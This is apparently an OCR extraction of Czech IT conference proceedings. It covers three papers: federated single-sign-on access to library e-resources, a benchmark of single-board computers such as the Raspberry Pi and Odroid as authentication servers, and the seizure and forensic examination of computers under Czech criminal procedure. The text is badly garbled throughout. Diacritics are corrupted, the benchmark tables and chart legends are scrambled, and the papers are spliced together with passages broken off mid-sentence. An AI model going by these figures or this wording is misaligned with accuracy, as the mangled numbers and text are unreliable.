Portal elektronickych zdroji Univerzity Karlov.

PEZ> E-zdroje > Dle abecedy >

ScienceDirect - Freedom collection

@ Prihlageni

ROH LoD

piné texty Slanki  Sasopisd vydavatelstyi Elsevier.

PHimy phistup z: Univerzita Karlova
ot de:leni pHistup (EZproxy)  Univerzita Karlova
pro:
z_";:i‘::;"": Vaddleny pfistup (Shibboletn)  Univerzita Karlov:
— fakult / sougasti pro”; v N\
— obort Producent: Elsevier
Free-trials Dostupnost do: neomezena
Volné Kategorie: licencovany zdroj
UZitetné odkazy Obory: multioborovy zdroj
El. Zasopisy E-casopisy: Tituly v Portaly e-asopisd
El. knihy Eknihy: Ty v Portaly e-knin
Repozitafe
Discovery Podrobny popis:
Externi uZivatelé

. Science Direct zprostiedkovava piné texty Elankii z Easopisti vydavatelstvi Elsevier z oblasti techniky, pfirodnich a spoleSenskych véd a mediciny s
Tty fetrospektivou cca od roku 1997.

Kontakt
Pistupné jsou také vybrané archivy Zasopist z oblasti poitatové védy, ekonomie, fyziky, matematiky, materidlového vyzkumu a fyziky vysokych energil s

retrospektivou od volumu 1 do roku 1994,
English version &%

Napovéda

Registrovani &tenafi NTK majf k dispozici vzdéleny pistup k Science Direct.

Admin

Obr. 1: Zobrazeni podrobnosti zdroje na PEZ UK

Po kliknuti na WAYFless odkaz je v prikladu s Elsevier Science Direct uzi-
vatel vyzvan sluzbou Elsevier k pfihlaseni ti¢tem na UK — obr. 2. Po prihlaseni
a ovéreni opravnéni pfistupu na zdkladé atributt poskytnutych z UK pro Else-
vier je uzivateli zobrazena ivodni stranka sluzby Science Direct s indikaci jména
uzivatele a nazvu domovské organizace — obr. 3. Po prihlaSeni a tspésné autori-
zaci uzivatel maze pracovat s obsahem, ktery domovska organizace u sluzby pro
své uzivatele zajistuje.

Federativni autentizace je nezavisla na IP adrese uzivatele. Ptistup ke sluz-
bam s federativni autentizaci maji uzivatelé odkudkoli, jak ze sité domovské
organizace tak mimo ni. Pfi pristupu k dalsimu zdroji uzivatel jiz nezadava
znovu jméno a heslo diky jednotnému ptihlaseni, single-sign-on. Délka platnosti
session pro jednotné prihlaseni je na UK nastavena standarné na jednu hodinu.

Ctenéii registrovani v Moravské zemské knihovné (MZK) maji k dispozici fe-
derativni autentizaci s jednotnym pfihlaSenim u sluzeb knihovny i u knihovnou
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& cas.cunicz ¢

Portdl EIZ - ScienceDirect - Freedom collection CAS - Central Authentication Service -

CAS - Charles University Authentication Service

This page requires sign-on using Charles Central Service!

Enter your personal number printed under the photo at ID
Username: card as your username. You can also use your assigned
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Password: Enter your password, check for local keyboard settings
(language version, CapsLock, ...).

Warn me before logging me into other sites. For security reasons, please Log Out and Exit your
web browser when you are done accessing services
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Obr. 2: Pfihlaseni uzivatele na UK

< sciencedirect.com

= Jiri Paviik

\ Charles University, All IP's
STLISUWECO Charles University Main
- Change personal details & settings /
Manage my alerts oY

Account Administration
View electronic holdings reports
Sign out

Explore scientific, technical, and medical research on ScienceDirect

Search for peer-reviewed journals, articles, book chapters and open access content.

Keywords Author name Journal/book title Volume Issue | Page

PU  Advanced search
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Feedback (J

Obr. 3: Uvodni stranka sluzby po tspé&sném piihlaseni uzivatele z UK
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Obr. 4: Stranky MZK s indikaci pfihlaseni uzivatele

predplacenych elektronickych zdrojich. Na obr. 4 je uzivatel Gspésné piihlasen
na strankadch MZK. Na obr. 5 je stranka knihovny s prehledem nabizenych elek-
tronickych informacnich zdroji a WAYFless odkazy jednoduse uvedenymi pod
nazvem zdroje. Na obr. 6 je ivodni stranka sluzby SpringerLink indikujici ¢tenaii
MZK tspésné prihlaseni a dostupnost obsahu predplaceného MZK.

Moravska zemské knihovna je vefejna knihovna, nabizi on-line registraci s on-
line platbou. Pro své étendfe MZK zajistuje cca.17 elektronickych informacéni
zdroji. MZK zatim v pilotnim beta rezimu provozuje také sluzbu Centralni
portél knihoven (CPK) — https://beta.knihovny.cz/. U sluzby je nastaveno fede-
rativni pfihlaseni — obr. 7. Pokud je uzivatel registrovany u nékolika knihoven,
muZe si své ucty u knihoven propojit — obr. 8. Centralni portal knihoven mu pak
poskytuje sluzby pres vSechny knihovny, kde ma uzivatel platnou registraci.
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NA CO SE HODI KREMIKOVE OVOCE?

Pavel Jindra, Martin Lavicka

E-MAIL: PAJAQCIV.ZCU.CZ, MLAVICKAQCIV.ZCU.CZ

Uvod

Jednodeskové minipocitaée (SBC — Single Board Computer) prosly za posled-
nich nékolik let boufliviym vyvojem. Snad kazdy mésic je ohlaSena nova vylep-
Send verze nékterého modelu, kterd prekracuje v parametrech svého predchtdce
i nékolikanasobné.

Pokud by vykon dosahoval takovych parametrt, aby mohl nahradit bézny
server pro méné narocnou aplikaci, mohlo by to pfinést zasadni zménu v nasich
serverovnach. Velké a drahé servery by nahradily stroje za né€kolik desitek dolari
s pfikonem mensim nez ventildtor ptivodniho serveru.

Aplikaci, kterou by mohl vhodny minipocitac¢ zvladnout, je napt. autentiza¢ni
sluzba. Na nas$i univerzité poskytuji Ctyfi fyzické autentizacni servery sluzbu
Kerberos pro 20 000 uzivatelt. Cilené je tato klicova sluzba poskytovana servery
s jinou architekturou nez x86, tak aby v pfipadé vyskytu zranitelnosti v aplikaci,
nefungovaly béZzné exploity (Security through obscurity). Tomuto principu by
nahravalo pouziti SBC s procesory ARM.

Za prispéni Fondu rozvoje CESNET jsme se rozhodli vyzkousSet zda by né-
ktery z ,,ovocnych® minipoc¢itac¢i mohl nahradit nase stavajici autentiza¢ni ser-
very s RISC architekturou a zda by se jim mohly rovnat vykonem a stabilitou.

Motivace a cile

Pro nasi aplikaci tedy hledame SBC ktery bude:

e dostatecné vykonny

spolehlivy pro provoz 24/7

e bezpecny — tzn. aktualizovany

snadno spravovatelny

zapojitelny do infrastruktury na serverovné
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Dostateény vykon pro nasi aplikaci by predstavoval vicejddrovy procesor
ARM s taktem alespoti 1 Ghz, 2 GB paméti RAM a sitovym pfipojenim s rych-
losti 1 Gb/s. Spolehlivost uréuje pfedevsim kvalita Glozisté systémového disku
a vhodny power management. Bezpecnost je dana dostupnosti aktualizaci a bez-
pecnostnich zaplat véetné aktudlnich vydani jadra a OS. Snadna sprava a zapo-
jitelnost do infrastruktury serverovny klade pozadavky na pfipojeni do konzolo-
vych prepinaci a umisténi do racku.

Jak jsme postupovali

Vybér zarizeni

Podle stranky en.wikipedia.org/wiki/Comparison_of_single-board_computers, jsme
vybrali a nakoupili nize uvedené zafizeni. Jiz samotny vybér byl tézky, protoze
puvodni poZzadavek, aby pocita¢ mél moznost pfipojeni SATA disku ndm vy-
robci zna¢né zkomplikovali. Nové generace procesori ARM maji sice vyznamné
vétsi vikon, ale bohuzel jiz neobsahuji fadi¢ SATA sbérnice pro pfipojeni disku.
Rozhodli jsme se tedy vyuzit vyssi vikon a disk pfipojit pomoci USB 3.0. V seg-
mentu levnych minipocitact jsme se soustfedili na ty nejvykonnéjsi. Zcela za-
mérné jsme vynechali oblast specializovanych ¢i primyslovych jednodeskovych
pocitact, které se svou cenou blizi spiSe segmentu notebookiu a servert.

Testovana zarizeni

Zatizeni CPU Core’s | FREq | RAM LAN | Cena $

IFC6540 Krait 450 4 2.5 GHz 2 GB | 1x Gbit 6773
CPU

Banana Pi M2 | ARM 4 1 GHz 1 GB | 1x Gbit 1350
Cortex-AT

Odroid-XU4 Exynosb5422 8 2 GHz 2 GB | 1x Gbit 2550

Cubieboard ARM Cortex- 444 |13GHz| 2GB | 1x Gbit 4030

CC-A80 A15/AT

Raspberry Pi 2 | BCM2836 4 0.9 GHz | 1 GB | 100 Mbit 1000

Raspbery Pi 3 | ARM 4 1.2 GHz 1 GB | 100 Mbit 1300
Cortex-A9

Testy

Navrhli jsme sérii testti, které nam pomohly zjistit vykon jednotlivych periferii
na kazdém z testovanych zafizeni. Pomoci dalsich test jsme zkoumali, jak spo-
lupracuji periferie mezi sebou, a posuzovali jsme celkovy vykon systému v kom-
plexnim FeSeni tlohy (kompilace). Doufali jsme, Ze diky jednozna¢nym hodnotdm
v testech snadno uréime nejvykonnéjsi zafizeni. Bohuzel témér v kazdém testu
vynikal jiny typ, a proto nebylo lehké celkovy vykon jednoznac¢né posoudit.
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Na provedenych testech bylo mozné vysledovat, jak jsou jednotliva zafizeni
vnitiné provedend a jakym zpusobem si mezi sebou periferie predavaji data, ¢i
co muze tvorit slaby ¢lanek v sestaveé.

Test SD karet

Za 1celem testu jsme nakoupili rizné druhy SD karet a provadéli test ¢teni
a zapisu. Tento test jako jediny neprobihal na samotném minipocitaci, ale na
notebooku s integrovanou ¢teckou SD karet. Zapisovano bylo 256 MB nadhodnych
dat z instala¢niho obrazu. Postupné jsme ménili velikost bloku od 512 byte az
do 10 MB. Velikost bloku simuluje, jak se karta bude chovat pfi zapisu maljch
nebo velkych souborii.

dd if=./file256M of=/dev/sdc bs=<blok> oflag=direct

Prehled testovanych SD karet

Karta Cteni/zapis | Class Cteni Zapis | Cena
reklamni (MB/s) | (MB/s) | (K¢)
ﬁfﬁi i?oﬂﬁ GB 95/45 UHS-3 | 84,58 9 o
%ir:z;l; Sllglé% 90/40 UHS-3 | 7222 | 51,49 | 327
I O e R
g}i)rﬁsctosnégcm 45/10 UHS-1 | 33,32 15,91 129

Test 50 ten Test 50 2l
100 MB/s 100'MB/s

—— sandiskgold16gb
—@— adatappro16g
sandisksilver8gb

80 MB/s 80 MB/s —< kingston8gb2
—&— kingstondgb
60 MB/s 60 MB/s
40 MB/s 40 MB/s
20 MB/s 20 MB/s
0 MB/s 0 MB/s
1 4 16 64 512 1 2 4 10 1 4 16 64 512 1 2 4 10
KB kB kB kB kB MB MB MB MB KB kB kB kB kB MB MB MB MB

Velikost bloku Velikost bloku
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Z uvedenych vysledku je patrny jasny vykonovy odstup prémiovych karet,
a to jak pfi zapisu/¢teni velkych bloku, tak i p¥i praci s malymi bloky. Velmi
roz§ifenym mytem je také tvrzeni, ze neméa smysl kupovat drahé prémiové karty,
protoze je minipocitac stejné nedokaze vyuzit. Z dalsich test provadénych pfimo
na zafizeni je patrné, ze SD karty na nich dosahuji zhruba polovi¢nich rych-
losti,ale pomérné rozdily mezi rychlostmi prémiovych a st¥ibrnych karet (UHS-1)
jsou zachovany. Napriklad v zafizeni ODROID pfi testu zapisu a ¢teni z filesys-
tému dosahoval systém s prémiovou kartou SanDisk Extreme (UHS-3) 1,5-2,5x
lepSich vysledki a to i pro malé bloky. Pomyslny souboj prémiovych karet kate-
gorie UHS-3 mezi ADATA SDHC Premier Pro 16 GB a SanDisk SDHC Extreme
16GB tésné vyhrava SanDisk, ktery pfimo na zafizeni dosahoval zhruba o 5 %
lepsich vysledki.

Test propustnosti systému

Z testu propustnosti systému jsme chtéli ziskat informace, jaké jsou vnitini limity
systému. Pro testovani jsme zvolili nejjednodussi test pomoci prikazu dd.

dd if=/dev/zero of=/dev/null bs=<blok> iflag=fullblock

Test propustnosti systému

8 GB/s —=— odroxu4-gold

—@— inforce-emmc
raspberry3-adata

—&— bananapi-gold

6 GBI/s —&— raspberry2-silver

4 GB/s

2GB/s

0GB/s
05kB 1kB 4 kB 16kB 64kB 512kB 1MB 2MB 4MB 10MB 20MB 30MB

Velikost bloku

Z grafu je patrny vysoky vykon osmijadrovych procesori. Dilezité je také
si pov§imnout, ze nejvyssi hodnoty rychlosti pfenosu pres vnitini sbérnici jsou
pro velikost bloku 512 KB a 1 MB. Mezi testovanymi stroji jsou vsak dvé zaji-
mavé vyjimky. Prvni je Inforce s procesorem Krait 450, kde rychlost pfenosu je
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maximalni i pro obrovské bloky o velikosti az 30 MB. Druhy zajimavy detail je
u Raspberry pi 3, které zacina ,ztracet dech” jiz s velikosti bloku 1 MB, nicméné
oproti predchozi dvojkové verzi jiz dosahuje slusnych vysledkii.

Test zapisu na interni tloZisté

Nékterd zafizeni jsou vybavena vnitini FLASH paméti oznacovanou jako
semmc*. Tato pamét byva zpravidla umisténa pfimo na desce a pfipojena pies
SPI sbérnici. Timto testem jsme chtéli zjistit, zda je podstatny rozdil mezi SD
kartou a vnitini EMMC paméti. Zaroven je na tomto testu zjistovan rozdil mezi
jednotlivymi SD kartami pfimo v minipocitaci.

Rychlost zapisu [MB/s]

Velikost bloku 0,5kB | 16 KB | 1 MB | 10 MB
odroidxu4-gold 0,29 7,61 29,03 | 35,06
inforce-emmc 0,27 6,11 22,47 | 20,82

raspberry3-adata 0,18 4,78 18,39 | 20,38
cubieboard4-adata | 0,19 5,04 17,06 | 18,15

bananapi-gold 0,35 7,97 1449 | 14,85
raspberry2-silver 0,06 7,27 13,24 | 13,21
bananapi-adata 0,19 5,66 13,43 | 13,69
odroidxu4-silver 0,06 6,31 11,51 11,79

cubieboard-emmc 0,27 6,58 10,62 11,67

Pomérné piekvapivé byly pro nas vysledky rychlosti zapisu na EMMC pamét.
Ukéazalo se, zZe se vlastné jedna o béznou flash s primérnymi parametry. Zafizeni
s vnittni paméti nepfinasi zadnou zasadni vyhodu v rychlosti lozisté systému.

Z tabulky je také patrny rozdil mezi prémiovou ,zlatou® a béznou ,st¥ibrnou
SD kartou, kdy i pfi zapisu malych bloku ,zlaté“ SD karty vyznamné exceluji.

Test sifového rozhrani

U testu prenosové rychlosti sité jsme na kazdém zafizeni provadéli 3 odlisné
testy. V prvnim testu nebyla data prenasend po siti ukladana, ve druhém byla
zapisovana na filesystém a treti test zapisoval data na externi SSD disk.

Kromé 2 zarizeni z rodiny raspberry byly vSechny ostatni vybaveny gigabi-
tovou sifovou kartou. Na testu sité do /dev/null se ukdzaly v praci se sifovou
kartou znac¢né rozdily, suverénné nejlepsich vysledki dosahlo BananaPi M2, coz
ukazuje na velmi dobré zpracovani sitového interface. Obé raspberry se 100 Mbi-
tovou siti se drzely podle svych limitt v zavéru startovniho pole. Abychom je
zcela nevyfadili z boje rozhodli jsme se pro drobné vylepseni. Do USB 2.0 jsme
zapojili gigabitové USB sifové karty a testy zopakovali. Timto se z Raspberry
PI 3 stalo plné konkurence schopné zafizeni pro prenos dat ze sité.
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Test sitového rozhrani

1000 Mbit/s 1 [l bananapi-gold

2 [l bananapi-adata

3 [ cubieboard-emmc
4l cubieboard-adata

s [l raspberry3USBnet-adata

s [l raspberry2USBnet-silver
7 [l odroidxu4-gold
s M inforce-emmc
o [l raspberry2-silver
|| | | || ‘| | o [l raspberry3-adata
1234567890 1I!I5I7'II 1234557IIO

NET - dev_null NET - FS NET - USB-FS

100 Mbit/s

10 Mbit/s

Kompilaéni test

Pro obrazek celkové vykonnosti zafizeni jsme pripravili posledni test. Ten spo-
¢ival ve stazeni zdrojovych kéda a kompilaci autentiza¢niho systému Kerberos.
Pro porovnéni byl test provadén jak na souborovém systému (vétsinou SD karta),
tak i na externim SSD disku pfipojenym ptes USB 3.0.

Doba kompilace KRB5S

[ Kompilace na interni ulozisté [l Kompilace na USB-HDD

450 s

300 s

150 s
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Pii kompilaci se vice nez z 90 % vyuziva vykon procesoru, zbytek pripadé
na diskové operace a praci s paméti. Proto také nejkratsich ¢ast dosahuji za-
fizeni s nejrychlejSimi osmijadrovymi procesory. Nicméné velmi slusné si vedlo
i Raspberry PI 3. Mirnym pfekvapenim pro nés byl jen miniméalni rozdil mezi
kompilaci na externi USB-SSD disk a systémovou paméti. USB-SSD disk prak-
ticky vzdy dosahoval o néco lepsich vysledki, ale rozdil jsme ocekavali vyraznéjsi.

Charakteristika zarizeni

Pro ptehled uvadime vlastnosti testovanych minipocitaci na zakladé provede-
nych testi, naseho subjektivniho dojmu, dale pak podrobnosti o HW konfiguraci.
Kazdé zafizeni je zcela odlisné a hodi se na jiny typ tloh. Nékteré vynika
svym vykonem, jiné zase komplexnosti a Sirokou uzivatelskou podporou.
Detailni popis popis vSech zafizeni presahuje rozsah tohoto ¢lanku a je mozné
jej najit na strankach vyrobce, my jsme se soustiedili na popis vlastnosti urcujici
oblast mozného vyuziti.

Banana PI M2

OS: ARMBIAN

Jadro: 4.4.1-sunxi SMP armv7

CPU: A31S ARM Cortex-A7 4 core, 1 GHz

USB 3.0: NE SATA: NE WiFi: ANO Gbit LAN: ANO
Vyhody: rychly sifovy interface, dobry power management
Nevyhody: $patny CPU, atypické GPU, mélo RAM
Doporucdené vyuziti: k ni¢emu

Cubieboard CC-A80

OS: Linaro

Jadro: 3.4.39 SMP armv7l

CPU: 4x Cortex-A15 and 4x Cortex-A7

USB 3.0: ANO SATA: NE WiFi: ANO Gbit LAN: ANO
Vyhody: EMMC pamét, vysoky vykon CPU, obvod RTC s baterii,
Nevyhody: slaba podpora, pomalda EMMC

Doporucdené vyuziti: doméci mini server

Inforce IFC6540

OS: Linaro

Jadro: 3.10.40-ifc6540-v1.24+ SMP armv7l

CPU: 4x Krait 450 2,5 GHz

USB 3.0: ANO SATA: Ano WiFi: ANO Gbit LAN: ANO
Vyhody: EMMC pamét, vysoky vykon CPU, GPS, akcelerometr
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Nevyhody: slaba podpora
Doporuédené vyuziti: vyvoj android aplikaci, robotika

ODROID-XU4

OS: ARMBIAN

Jadro: 3.10.96-odroidxud SMP armv7l

CPU: Samsung Exynos5422

USB3.0: ANO SATA: NE WiFi: NE Gbit LAN: ANO

Vyhody: velmi vysoky vykon CPU, 2xUSB3

Nevyhody: aktivni chlazeni

Doporucdené vyuziti: zpracovani dat, server, domaci NAS, multimedidlni apli-
kace

RASPBEERY PI 2

OS: RASPBIAN

Jadro: 4.1.19-v7+ SMP armv7l

CPU: BCM 2836

USB 3.0: NE SATA: NE WiFi: NE Gbit LAN: NE
Vyhody: vyborné podpora komunity, Siroké kompatibilita
Nevyhody: pomald LAN, malo RAM, $patny power management
Doporucdené vyuziti: vyukové tcely, zobrazeni video streamu

RASPBEERY PI 3

OS: RASPBIAN

Jadro: 4.1.19-v7+ SMP armv7l

CPU: BCM 2837

USB 3.0: NE SATA: NE WiFi: ANO Gbit LAN: NE

Vyhody: vyborna podpora komunity, Sirokd kompatibilita, podpora GPU ak-
celerace

Nevyhody: pomald LAN, malo RAM

Doporucdené vyuziti: multimedialni centrum, kiosky, jednoduché aplikace

Zavéry a doporuceni

Pii planovani naseho projektu jsme doufali, Ze jeho zavéry jednoznacéné ur¢i to
nejlepsi zafizeni vhodné pro vybranou tlohu. Bohuzel se ukézalo, Ze ani jedno
z testovanych zafizeni nespliiuje veskeré naroky na pouziti v produkénim sys-
tému. Vykonnostné nejlepsi byl z naseho pohledu pocita¢ ODROID-XU4. M4
kvalitni osmijadrovy procesor s 2 GB paméti a dva USB3 porty pro pfipojeni
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disku a v testech dosahoval vynikajicich vysledkti (kromé testu sitového roz-
hran{). Nicméné problematickou se u tohoto stroje ukazuje otédzka bezpecnost-
nich aktualizaci. Podpora od vyrobce pomalu utichd a o obraz OS se staraji
nadsenci z ARMBIANu, kde je jen zakladni podpora HW.

Pomyslnym ,,skokanem roku“ by se dal vyhlasit vykon nového Raspberry 3.
Vykonoveé je sice mezi ostatnimi hrac¢i pramérné, ale obrovskou vyhodu pfinasi
sirokd podpora komunity a zpétna kompatibilita s pfedchozimi modely. Pro do-
maci aplikace a vyukové Ucely jej lze plné doporudit.

Pro nasazeni jakékoliv aplikace na SBC piinasSime zasady a doporuceni:

e kvalitni napajeci zdroj s rezervou vykonu

e rychlad SD karta

e USB disk zapojovat pfes napajeny USB HUB

e nepodcenit chlazeni

e vybirat rozsifenéjsi modely s dlouhodobou podporou
e dilezita je aktudlnost a dostupnost SW

e brat ohledy na kompatibilitu — bude dany model nahraditelny i za 2 roky

vvvvvv

likost RAM je kvalita SW podpory a velikost komunity uzivatelt. Zafizeni s vy-
bornymi parametry miize byt bezcenné, pokud u néj nejde zprovoznit napt. SPI
sbérnice. A je lhostejné, zda proto, Ze to zatim jeSté nikdo nenaprogramoval,
nebo je chyba v HW, pripadné jen neni k dispozici ten spravny navod.
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FORENZNI ZKOUMANI VYPOCETNI TECHNIKY

Jakub Kothanek, Jaroslav Kothanek

E-MaAIL: KOTHANEK@IT—ZNALEC.CZ, JAKUB.KOTHANEKQIT-ZNALEC.CZ

Uvod

Téma forenzniho zkoumani vypocetni techniky nabird na aktuélnosti. Denno-
denné kazdy vyuzivame vypocetni techniku, at jiz k préci, ¢i k zdbavé. Z tohoto
divodu a z divodu dostupnosti téchto technologii je nutné predpokladat, ze
i pachatelé trestnych ¢int vypocetni techniku vyuzivaji, a to jak pro spachani
trestného C¢inu, tak také pro planovani ¢i ziskavani informaci. Z tohoto duvodu
musime zabezpecit spravny postup vytézovani dikazt pro potfeby trestniho fi-
zeni tak, aby bylo mozno tyto v tomto fizeni vyuzit, kdy v pripadé jakékoli chyby
mize dojit k nendvratnému poskozeni takovych diikazl ¢i k napadnutelnosti je-
jich autenticity.

7 vyse uvedenych divoda by se mélo postupovat dle zakonem stanovenych
postupi, & standardd. Bohuzel, v Ceské republice zadny takovy standard ani
zédkon neni. Pro trestni fizeni je stile stéZejnim zékonem zakon ¢. 141/1961 Sb.,
o trestni fizeni soudnim (trestni ¥ad), ve znéni pozdéjsich pfedpist, ktery, jak je
patrné, pochézi z roku 1961. Z toho také vychazi fakt, ze digitalni stopy do ného
byt zafazeny nemohly, protoze v té dobé v podstaté ani neexistovaly, ovSem
tyto se do zminovaného zakona nedostaly ani novelizacemi. Neni tedy mozné
se spolehnout na zadkonem dané postupy, kdy tyto se netykaji digitalnich dat
a vyuziti analogie pfinasi nepreberné mnozstvi problémt.

Dalsim problémem je, ze kriminalni scéna bude vzdy krok napred pred re-
presivnimi slozkami, které mohou v podstaté pouze reagovat na nové zneuzivani
vypocetni techniky k nekalym praktikdm. Proto je nutné pruzné reagovat na
tato nova zjisténi a podrobné se jimi zabyvat, coz se, bohuzel, u nas nedéje.

V neposledni fadé se musime zabyvat také mezinarodnim hlediskem. Internet
je ze své podstaty globalnim nastrojem, ke kterému se da pristoupit takrka vsude
na Zemi. Na druhou stranu, v kazdé zemi svéta plati jina legislativa, ktera roz-
hodné neni jednotné. Toto pfinasi mnoho problémt, kdy je nutné pripomenout,
Ze policejni organy jsou nadany pravomocemi pouze ve ,svém staté“. Pokud by
potfebovaly zajistit dikazy v jiné zemi, je nutné vyuzit cestu pravni pomoci,
ktera byva velice obtizna a zdlouhava, nékdy dokonce absolutné neti¢inna, jako
napiiklad v pfipadé Ruské federace. Dale také cesta pravni pomoci vyzaduje
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fakt, ze ¢in musi byt trestny v obou dotcenych zemich, jinak nelze cestu pravni
pomoci vyuzit v zaddném pfipadé. V tu chvili jiz organy ¢inné v trestnim Fizeni
nemaji v podstaté zadnou Sanci, jak trestny ¢in vySetfovat. Z tohoto divodu se
bude tento ¢lanek zaobirat pouze Ceskou legislativou a pripady, kdy neni tfeba
vyuzivat jakykoli mezinarodni prvek.

Zajistovani vypodetni techniky

Co se tyce samotného zajisténi vypocetni techniky organy ¢innymi v trestnim
fizeni, lze vyuzit §78 Trestniho fddu o vydani véci, kdy osoba, jez ma u sebe
véc dilezitou pro trestni fizeni, je povinna tuto vydat. Pokud takto neucini, pak
Ize vyuzit § 79 Trestniho fddu o odnéti takové véci. Samoziejmosti je, Ze témto
kroktim predchazi prohlidka, kterd muze mit podobu domovni prohlidky, pro-
hlidky jinych prostor a pozemki ¢i osobni prohlidky. Ve standardnich pfipadech
s témito instituty neni Zz4dny problém a lze vyuZit obecné postupy zajistovani
takové techniky, které zde dale popiseme. Jednotlivym problém®m, které mohou
vzniknout, se budeme vénovat poté.

Obecné by mélo pii zajisfovani dojit k tomu, Ze technika bude vypnuta, a to
nejlépe bez jakychkoli zapist na paméfova média, tedy odpojenim od zdroje
energie. Zapis na pamétové médium totiZz znamend potencidlni ztratu diikazniho
materiadlu, kdy muze dojit k prepsani dulezitych udaji. Poté, co mame vypo-
detni techniku odpojenu, mélo by dojit k jejimu zabaleni a pfepeceténi. Pedet by
dale méla byt podepsana vlastnikem, ¢i nezti¢astnénou osobou, pokud vlastnik
podpis odmitne. Veskeré takovéto kroky by mél orgén ¢inny v trestnim fizeni
dokumentovat na videokameru a fotoaparat, a to jak z divodu moznych stiz-
nosti majitele techniky, tak z divodu dalsich krok, kdy tato dokumentace mtze
dopomoci k nékterym informacim o vypocetni technice ¢i sitové infrastruktufe,
apod. Takto zajisténa technika by dale méla byt predana na expertizu soudnimu
znalci, ¢i znaleckému tstavu. Tento postup s sebou prinasi néktera rizika, jimz
se budeme vénovat v dalsim textu.

Dfive s vySe zminénym postupem nebyl zadny problém. Bohuzel dal§im roz-
machem vypocetni techniky dochazi k tomu, ze si uzivatelé zacinaji uvédomovat
rizika spojend s unikem informaci a proto zacinaji sva data Sifrovat. V tomto
pripadé nastava problém, kdy Sifrovand data nelze prevést na Citelna data jinym
zpusobem nez zadanim Sifrovaciho klice ¢i tento kli¢ zlomit. Ve vétsiné ptipadi
kli¢ znat nebudeme a lamani byva velice ¢asové a technologicky naro¢né, kdy tato
naroc¢nost roste exponencialné k poctu znaki takového klice. Dokonce, pokud kli¢
dosahuje urc¢itého poctu znaktl, neni mozno tento zlomit v rozumném casovém
terminu. Existuje ovSem jesté jeden zptisob, jak data deSifrovat, ovSem ten na-
razi na tskali vyse uvedeného postupu a také toho, ze v Ceské republice policejni
technici nejsou opravnéni k jakékoli praci s ,zivou“ vypocetni technikou. Jsou
tedy opravnéni pouze techniku vypnout a zajistit dle vyse uvedeného postupu.
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Zminény zpusob spocivad v zajisténi bitové kopie operacni paméti RAM, ktera
nutné musi obsahovat Sifrovaci kli¢, aby byla data ¢itelnd pro majitele vypo-
¢etni techniky. Samoziejmé predpokladem je, Zze vypocetni techniku ma majitel
pfi provadéni zajisténi zapnutou. Déle z vyse zminéného je patrné, ze by zajisténi
musel byt pritomen soudni znalec, ktery z titulu své funkce muze tyto kroky pro-
vést. Je téZ nutno podotknout, Ze v tento okamzik dochazi k modifikaci datové
kriminalistické stopy, ¢ehoz by si vSichni zGcastnéni méli byt védomi. Je zcela
nepochybné, Ze v tomto pripadé jsou védomé porusovana pravidla zajisfovani
kriminalistickych stop a to neménnost stopy. Nicméné jde o jakysi kompromis
za Ucelem dosaZeni cile s tim, Ze o néjaké informace muZeme piijit. Bohuzel,
v Ceské republice neni bézné piibirat soudniho znalce na domovni, ¢ jiné, pro-
hlidky, kdy toto zejména prameni z finan¢nich divodi, kdy Policie méa omezeny
rozpodet pro znalecké posudky. Diisledkem miize byt budto ztrata veskerého di-
kazniho materidlu ¢i minimalné prodrazeni znaleckych nahrad, kdy musi dojit
ke zlomeni Sifrovaciho klice, viz vyse.

Dalsi vyhodou ui¢asti znalce muze byt posouzeni stavu hned na misté, kdy ne-
musi byt nutno zajistovat a zkoumat vSe, ¢i mohou byt zadokumentovany bitové
kopie pamétovych médii a tato mohou byt ponechana majiteli. Toto je zejména
vhodné v podnikatelské sféfe, kdy, hlavné v pripadé ekonomickych subjekt,
by mohlo dojit ke zna¢nym ekonomickym Skodam u téchto subjektt v pripadé
zajisténi veskeré vypocetni techniky.

Dalsim problémem zacinaji byt cloudova ulozisté dat. V pripadé, ze se data
nachézi i na lokalnim pamétovém médiu, tento problém mizi. OvSem pokud jsou
data pouze na internetovém tlozisti, nastava velky problém, ve svétle posledniho
rozhodnuti Nejvyssiho soudu CR, a je takika nefesitelny. Cloudové tloziste,
i pfipadé, Ze je pripojeno k vypocetni technice v dobé konani prohlidky, neni
dle tohoto rozhodnuti mistem konani prohlidky a neni tak moZno data zajistit
a vytézit. Situace je v tomto pripadé kriticka, kdy organy ¢inné v trestnim fizeni
museji Zadat o novou prohlidku, ktera je oviem mysliteln4d pouze v ramci Ceské
republiky. V pripadé ciziho statu je nutno vyuzit cestu pravni pomoci, viz vyse.
Ani jedna ze situaci neni v Zddném pfipadé idedlni a to z ¢asovych divodu, kdy
jen rozhodnuti o nové prohlidce néjaky ¢as zabere a dava tak moznost vlastnikovi
data smazat, z ¢ehoz znovu vyplyva ztrata dikazniho materidlu. Dle nazoru
autor s rozhodnutim Nejvyssiho soudu nelze souhlasit a je, bohuzel, patrné,
ze si soudci neuvédomuji zavaznost situace ani povahu digitalnich stop, natoz
samotného cloudového uloziste.

V kontextu vyse uvedeného je patrné, ze, pokud se najde nékdo, kdo se vyzna
v této problematice, nebude pro ného problém veskery dikazni material zajistit
tak, aby byl pro organy ¢inné v trestnim fizeni nedostupny. Plné postaci, pokud si
dotyény z¥idi cloudovou sluzbu v zahranicéi, nejlépe v zemi, se kterou neméa Ceska
republika smlouvu o mezinarodni pravni pomoci, data bude uchovavat pouze na
tomto cloudu a jesté tato data bude Sifrovat. V tom pfipadé jsou naSe organy
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absolutné bezmocné, kdy jedinym moznym zptsobem, jak data zajistit, by bylo
je zajistit pfi prohlidce, pokud by cloud byl pfipojen. To je ovsem s ohledem
na rozhodnuti Nejvyssiho soudu nemozné. Dojde tedy nutné k tomu, ze data
nebudou dostupnéa. Taktéz by nepochybné tento postup vyzadoval pritomnost
nezavislého znalce.

VytéZovani vypocetni techniky

V pripadé, Zze mame vypocetni techniku zajisténu, muze byt tato predana znalci
k vytézeni. Vypocetni technika je predavana dle § 105 Trestniho fadu, na zédkladé
opatfeni o pribrani znalce, popt. dle §110 Trestniho fadu znaleckému tstavu
opatreni o pribrani znaleckého tstavu.

Po pfedani techniky znalci musi byt tato rozpeceténa. To by mélo byt do-
kumentovano alesponi pomoci fotoaparatu, aby bylo patrno, jak byla technika
zajisténa, v jakém je stavu, apod. Po tomto rozpeceténi by mélo dojit k popsani
predlozené techniky.

Néasledné muzeme pristoupit k samotnému vytézovani. Zakladni zasadou zna-
leckého zkoumani je jeho opakovatelnost a neménnost dat. Z tohoto dtivodu mu-
sime zabezpecit, aby na pamé&tovych médiich nedoslo k jakymkoli zménam, tedy
zapisim. Toto vSak ne ve vSech situacich lze zcela dodrzet. Nicméné by na tuto
